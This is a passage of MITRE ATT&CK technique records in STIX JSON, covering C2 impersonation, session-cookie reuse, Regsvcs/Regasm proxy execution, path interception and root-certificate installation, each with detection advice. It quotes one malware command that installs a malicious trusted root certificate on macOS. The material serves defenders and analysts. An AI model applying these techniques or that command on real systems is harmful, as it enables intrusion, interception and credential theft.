Shadowing)","modified":"2022-04-19T21:22:13.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"DNS Server","x_mitre_detection":"Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Domain Name: Active DNS","Domain Name: Passive DNS"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-09T15:40:19.436Z","name":"Protocol or Service Impersonation","description":"Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["James Emery-Callcott, Emerging Threats Team, Proofpoint"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"2.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","created":"2020-03-15T00:40:27.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1001/003","external_id":"T1001.003"},{"source_name":"Malleable-C2-U42","description":"Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.","url":"https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"ESET Okrum July 2019","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-03T18:56:37.011Z","name":"Query Registry","description":"Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: OS API Execution","Windows Registry: Windows Registry Key Access","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","created":"2017-05-31T21:30:25.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1012","external_id":"T1012"},{"source_name":"Wikipedia Windows Registry","description":"Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.","url":"https://en.wikipedia.org/wiki/Windows_Registry"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","type":"attack-pattern","created":"2017-05-31T21:30:34.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1030","external_id":"T1030"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-07-14T19:47:46.912Z","name":"Data Transfer Size Limits","description":"An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39","type":"attack-pattern","created":"2017-05-31T21:30:33.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1028","url":"https://attack.mitre.org/techniques/T1028"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"url":"http://msdn.microsoft.com/en-us/library/aa384426","description":"Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.","source_name":"Microsoft WinRM"},{"url":"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2","description":"Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.","source_name":"Jacobsen 2014"},{"source_name":"Medium Detecting Lateral Movement","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}],"modified":"2020-02-11T18:30:20.937Z","name":"Windows Remote Management","description":"Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["WinRM listener turned on and configured on remote system"],"x_mitre_remote_support":true,"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:11:15.657Z","name":"Web Session Cookie","description":"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Johann Rehberger","Jack Burns, HubSpot"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS","IaaS","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Application Log: Application Log Content","Web Credential: Web Credential Usage"],"x_mitre_defense_bypassed":["System Access Controls"],"type":"attack-pattern","id":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","created":"2020-01-30T17:48:49.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1550/004","external_id":"T1550.004"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"},{"source_name":"Pass The Cookie","description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-14T14:55:07.432Z","name":"Domain Accounts","description":"Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_contributors":["Jon Sternstein, Stern Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Creation","Logon Session: Logon Session Metadata"],"x_mitre_permissions_required":["User","Administrator"],"type":"attack-pattern","id":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","created":"2020-03-13T20:21:54.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1078/002","external_id":"T1078.002"},{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"},{"source_name":"Microsoft AD Accounts","description":"Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.","url":"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts"},{"source_name":"Ubuntu SSSD Docs","description":"Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.","url":"https://ubuntu.com/server/docs/service-sssd"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","type":"attack-pattern","created":"2020-01-23T19:42:16.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.009","url":"https://attack.mitre.org/techniques/T1218/009"},{"source_name":"MSDN Regsvcs","description":"Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/04za0hca.aspx"},{"source_name":"MSDN Regasm","description":"Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.","url":"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"},{"source_name":"LOLBAS Regsvcs","url":"https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/","description":"LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."},{"source_name":"LOLBAS Regasm","url":"https://lolbas-project.github.io/lolbas/Binaries/Regasm/","description":"LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019."}],"modified":"2022-03-11T18:55:48.725Z","name":"Regsvcs/Regasm","description":"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02","type":"attack-pattern","created":"2017-05-31T21:30:36.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1034","url":"https://attack.mitre.org/techniques/T1034"},{"external_id":"CAPEC-159","source_name":"capec","url":"https://capec.mitre.org/data/definitions/159.html"},{"url":"https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/","description":"Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.","source_name":"TechNet MS14-019"},{"url":"http://support.microsoft.com/KB/103000","description":"Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.","source_name":"Microsoft Subkey"},{"url":"https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464","description":"Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.","source_name":"Baggett 2012"},{"url":"https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/","description":"HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.","source_name":"SecurityBoulevard Unquoted Services APR 2018"},{"url":"https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/","description":"McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.","source_name":"SploitSpren Windows Priv Jan 2018"},{"url":"http://msdn.microsoft.com/en-us/library/ms682425","description":"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.","source_name":"Microsoft CreateProcess"},{"url":"http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120","description":"Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.","source_name":"Hill NT Shell"},{"url":"http://msdn.microsoft.com/en-us/library/ms687393","description":"Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.","source_name":"Microsoft WinExec"},{"url":"https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx","description":"Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.","source_name":"MSDN Environment Property"}],"modified":"2020-07-06T18:49:35.645Z","name":"Path Interception","description":"**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_effective_permissions":["User","Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Office 365","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Johann Rehberger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5","type":"attack-pattern","created":"2019-10-08T20:08:56.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1506","url":"https://attack.mitre.org/techniques/T1506"},{"description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html","source_name":"Pass The Cookie"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019."}],"modified":"2020-12-17T16:57:07.529Z","name":"Web Session Cookie","description":"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Logon Credentials","Multi-Factor Authentication"],"x_mitre_is_subtechnique":false},{"modified":"2024-01-04T20:01:27.662Z","name":"Install Root Certificate","description":"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Matt Graeber, @mattifestation, SpecterOps","Red Canary","Travis Smith, Tripwire","Itzik Kotler, SafeBreach"],"x_mitre_deprecated":false,"x_mitre_detection":"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 